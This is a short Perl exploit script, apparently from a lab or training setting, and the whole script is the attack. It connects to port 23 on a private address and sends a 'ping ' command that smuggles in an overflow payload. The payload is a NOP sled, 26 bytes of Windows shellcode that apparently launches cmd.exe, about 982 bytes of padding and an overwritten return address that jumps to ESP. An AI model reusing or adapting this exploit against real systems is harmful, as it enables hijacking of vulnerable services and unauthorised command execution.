use Socket;
use feature 'say';
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_WR);

my $client = IO::Socket->new ( 
	Domain => AF_INET, # AF_INET, AF_UNIX
    Type => SOCK_STREAM, # SOCK_STREAM, SOCK_DGRAM, ...
    Proto => 'tcp', # 'tcp', 'udp', IPPROTO_TCP, IPPROTO_UDP
    PeerPort => 23,
    PeerHost => '192.168.232.128',
) || die "Can't open socket: $IO::Socket::errstr";
my $shellcode = v139.236.85.139.236.104.101.120.101.47.104.99.109.100.46.141.69.248.80.184.199.147.194.119.255.208;
# 26bytes
my $data = "ping ";
my $pad = v144;
my $to_esp = v105.45.179.124; #\x69\x2D\xB3\x7C

$data = $data.($pad x 4).$shellcode.($pad x 982).$to_esp.($pad x 100)."\r\n";

say "Sending Data!";
my $size = $client->send($data);
say "Sent data of length: $size";
$client->shutdown(SHUT_WR);

my $buffer;
$client->recv($buffer, 1024);
say "Got back $buffer";

$client->close();